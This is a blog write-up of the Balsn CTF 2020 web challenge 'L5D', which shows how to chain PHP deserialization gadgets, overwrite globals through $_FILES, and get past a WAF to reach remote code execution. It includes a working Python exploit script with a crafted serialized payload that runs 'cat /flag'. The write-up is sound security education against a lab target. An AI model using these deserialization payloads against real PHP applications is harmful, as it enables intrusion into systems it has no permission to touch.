Balsn CTF 2020 - L5D

Challenge

L5D is another web challenge in our Balsn CTF 2020.

In this challenge, it combined multiple deserialization tricks.

  • Type: Web
  • Solved: 17
  • Author: kaibro

Description

「Taking L5D was a profound experience, one of the most important things in my life.」
Try this new Unserialize-Oriented Programming System a.k.a. L5D !

PHP Version: 7.0.33

Solution

In the website, the author puts the source code on /?action=src. You can check the source code here. From the source code, we can see several classes with __wakeup and __destruct functions.

In addition, there is a unserialize function with a user-controllable input.

Therefore, just as the description of this challenge, it is an "Unserialize-Oriented Programming System".

Some people call this exploitation as POP chain. (Property Oriented Programming chain) As for how to utilize those classes (gadgets), we need to read it more carefully.

Deserialization Gadget

After scanning the gadgets, we can realize the function of each gadget.

  • L5D_Command
    • This gadget can trigger system function when $is_unser_finished is true.
    • Obviously, it is required to reach RCE.
  • L5D_ResetCMD
    • It can set global variable $cmd when $_SESSION['name'] equals to "wubalubadubdub".
    • To reach arbitrarily code execution, this gadget is needed to replace the initial command (whoami).
  • L5D_Login
    • This one can set $_SESSION['name'] to "wubalubadubdub" if we can know the hash of /flag.
    • It looks helpful, however, it is unlikely to obtain the hash of /flag.
  • L5D_SayMyName
    • It just echoes the $_SESSION['name']
    • We can use this to check the result of deserialization during testing.
  • L5D_Upload
    • This gadget can set $GLOBALS if an image is successfully uploaded.
    • Somehow we can use it to revise some global variables.

Global variables overwrite

In the L5D_Upload, it noticeworthy that part of the code seems vulnerable.

foreach ($_FILES as $key => $value)
$GLOBALS[$key] = $value;

With that, we can overwrite all of the global variables. However, after testing, we can only assign a value in a specific structure.

According to the PHP document, a $_FILES object is an array of file objects. And each file object consists of name, type, tmp_name, error, and size attributes.

For example, when I upload l5d_file, the $_FILES object would be like following:

array(1) {
["l5d_file"]=>
array(5) {
["name"]=>
string(13) "trippycat.gif"
["type"]=>
string(19) "multipart/form-data"
["tmp_name"]=>
string(14) "/tmp/php4JsP9d"
["error"]=>
int(0)
["size"]=>
int(474785)
}
}

Thus, we can not rewrite the following useful variables to certain strings.

  • $status
  • $cmd
  • $is_unser_finished

Fortunately, we can control the $_SESSION['name'] via uploading another file object called _SESSION and controlling the name attribute. It means that we can try to set the command to execute.

WAF Bypass

To set protected attribute, it necessary to use *.

After lots of searching, I find a trick can bypass this character in PHPGGC.

According to this document, we can replace s with S to assigned a string with hexadecimal ASCII code. That is to say, to represent s:1:*, we can simply use S:1:\2A to bypass the WAF.

Connect Gadgets

To connect all the gadgets, we need to call and free each gadget at the proper timing.

From PHPGGC, we can find another trick called 'fast destruct'. When users assign two values with the same key in an array, the first one value would be destroyed automatically.

Therefore, I can connect gadgets in arbitrary order by a crafted array. So I could trigger functions by the following sequence and reach RCE.

  1. call L5D_ResetCMD
  2. call L5D_Command
  3. call L5D_Upload
  4. free L5D_Upload
  5. free L5D_ResetCMD
  6. L5D_Command free by default

Therefore, my exploitation script would be like below:

import requests

url = 'http://l5d.balsnctf.com:12345'

s = requests.session()

cmd = 'cat /flag'

files = {'_SESSION': ('wubalubadubdub',"content") , 'l5d_file': ('trippycat.gif', open('trippycat.gif','rb'), 'multipart/form-data')}
des = 'a:5:{i:0;O:12:"L5D_ResetCMD":1:{S:10:"\\00\\2A\\00new_cmd";s:%d:"%s";}i:1;O:11:"L5D_Command":0:{}}i:2;O:10:"L5D_Upload":0:{}i:2;b:1;i:0;b:1;}' % (len(cmd), cmd)
print(des)
url = url + '/?&%3f=' + des

r = s.post(url, files=files)

Flag:

BALSN{Link_5_Destruct__is_toooo_easy_for_you:D}

Founding and Trials

Failed Attempt 1 - Error hash

At first, I tried to test the hash checking in L5D_Login.

For some cases, if the reading occurs failure, it would return false. And the result of hash function could be expected.

Yet, it is not the case here.

Failed Attempt 2 - Global variables overwrite

According to PHP documentation, we can control the $_FILES object by assigning a file name with[].

By this technique, we can control the depth and structure of the object.

However, after testing, it is unlikely to control the variables like $status, $cmd, $is_unser_finished to our expected value.

Reference

© 2021 RB's Page All Rights Reserved.
Theme by hiero